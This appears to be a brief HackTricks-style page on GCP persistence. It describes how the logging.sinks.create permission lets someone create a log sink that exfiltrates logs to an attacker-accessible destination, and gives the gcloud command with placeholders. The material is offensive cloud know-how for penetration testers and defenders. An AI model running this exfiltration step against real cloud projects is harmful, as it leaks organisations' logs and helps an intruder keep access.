# GCP - Logging Persistence

{{#include ../../../banners/hacktricks-training.md}}

## Logging

Find more information about Logging in:

{{#ref}}
../gcp-services/gcp-logging-enum.md
{{#endref}}

### `logging.sinks.create`

Create a sink to exfiltrate the logs to an attackers accessible destination:

```bash
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
```

{{#include ../../../banners/hacktricks-training.md}}



